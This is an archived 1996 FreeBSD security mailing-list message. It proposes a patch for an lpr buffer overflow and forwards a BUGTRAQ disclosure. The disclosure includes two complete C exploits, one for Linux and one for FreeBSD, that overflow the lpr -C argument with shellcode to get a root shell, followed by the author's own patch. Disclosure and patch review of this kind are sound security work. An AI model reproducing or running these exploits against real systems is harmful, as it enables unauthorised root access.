Skip site navigation (1)Skip section navigation (2)
Date:      Fri, 25 Oct 1996 11:37:18 -0600
From:      Warner Losh <imp@village.org>
To:        security@freebsd.org
Subject:   Vadim Kolontsov: BoS:      Linux & BSD's lpr exploit
Message-ID:  <E0vGqC6-00023u-00@rover.village.org>

next in thread | raw e-mail | index | archive | help
Here's a new LPR threat.  I've come up with a patch that I'd like
others on this list to vet.  It is different than the one suggested by
the author.  I think it is better, but haven't thought through all the
implications of it yet.

Comments?

Warner

Index: lpr.c
===================================================================
RCS file: /home/imp/FreeBSD/CVS/src/usr.sbin/lpr/lpr/lpr.c,v
retrieving revision 1.7
diff -u -r1.7 lpr.c
--- lpr.c	1996/05/11 19:00:55	1.7
+++ lpr.c	1996/10/25 17:32:12
@@ -466,9 +466,26 @@
 	register int c;
 	register char *p2;
 {
-	char buf[BUFSIZ];
+	static char *buf=0;
+	static int buflen=0;
 	register char *p1 = buf;
 	register int len = 2;
+
+	/*
+	 * Make sure that we have enough buffer for the card line to
+	 * splat out.  guard against huge requests running us out of
+	 * memory (exit when this happens).
+	 */
+	if (buflen < strlen( p2 ) + 2) {
+		buflen = strlen( p2 ) + 2;
+		if (buflen < BUFSIZ)
+			buflen = BUFSIZ;
+		buf = buf ? realloc( buf, buflen ) : malloc( buflen );
+		if (!buf) {
+			printf("Can't get buffer for card line\n");
+			exit(1);
+		}
+	}
 
 	*p1++ = c;
 	while ((c = *p2++) != '\0') {

------- Forwarded Message

[[ headers editied for length ]]
Date: 	Fri, 25 Oct 1996 16:35:57 +0300
Reply-To: Vadim Kolontsov <vadim@tversu.ac.ru>
From: Vadim Kolontsov <vadim@tversu.ac.ru>
To: Multiple recipients of list BUGTRAQ <BUGTRAQ@netspace.org>

Hello,

  there is a bug in berkeley-derived lpr, which allows attacker to get
root access (see freebsd-security for details). Here is exploit for Linux
(tested on 2.0.20), for BSD (tested on FreeBSD 2.1) and a patch.

Best regards, Vadim.

- -------------------------------------- linux_lpr_exploit.c ----------
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define DEFAULT_OFFSET          50
#define BUFFER_SIZE             1023

long get_esp(void)
{
   __asm__("movl %esp,%eax\n");
}

void main()
{
   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;

   u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
                        "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
                        "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
                        "\xd7\xff\xff\xff/bin/sh";
   int i;

   buff = malloc(4096);
   if(!buff)
   {
      printf("can't allocate memory\n");
      exit(0);
   }
   ptr = buff;
   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
   ptr += BUFFER_SIZE-strlen(execshell);
   for(i=0;i < strlen(execshell);i++)
      *(ptr++) = execshell[i];
   addr_ptr = (long *)ptr;
   for(i=0;i<2;i++)
      *(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
   ptr = (char *)addr_ptr;
   *ptr = 0;
   execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);
}
- ------------------------------------------- bsd_lpr_exploit.c ------
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define DEFAULT_OFFSET          50
#define BUFFER_SIZE             1023

long get_esp(void)
{
   __asm__("movl %esp,%eax\n");
}

void main()
{
   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;

   char execshell[] =
   "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
   "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
   "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
   "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";

   int i;

   buff = malloc(4096);
   if(!buff)
   {
      printf("can't allocate memory\n");
      exit(0);
   }
   ptr = buff;
   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
   ptr += BUFFER_SIZE-strlen(execshell);
   for(i=0;i < strlen(execshell);i++)
      *(ptr++) = execshell[i];
   addr_ptr = (long *)ptr;
   for(i=0;i<2;i++)
      *(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
   ptr = (char *)addr_ptr;
   *ptr = 0;
   execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);
}
- --------------------------------------------------------------------------

  Here is a little patch -- see file lpr.c, function card():
("!!" marks added lines)

- --------------------------------------------------------------------------
static void card(c, p2)
        register int c;
        register char *p2;
{
        char buf[BUFSIZ];
        register char *p1 = buf;
        register int len = 2;


        if (strlen(p2) > BUFSIZ-2)                     /* !! */
        {                                              /* !! */
                printf("No, thanks...\n");             /* !! */
                exit(1);                               /* !! */
        }
        *p1++ = c;
        while ((c = *p2++) != '\0') {
                *p1++ = (c == '\n') ? ' ' : c;
                len++;
        }
        *p1++ = '\n';
        write(tfd, buf, len);
}

With best regards, Vadim.
- --------------------------------------------------------------------------
Vadim Kolontsov                                          SysAdm/Programmer
Tver Regional Center of New Information Technologies          Networks Lab



------- End of Forwarded Message




Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?E0vGqC6-00023u-00>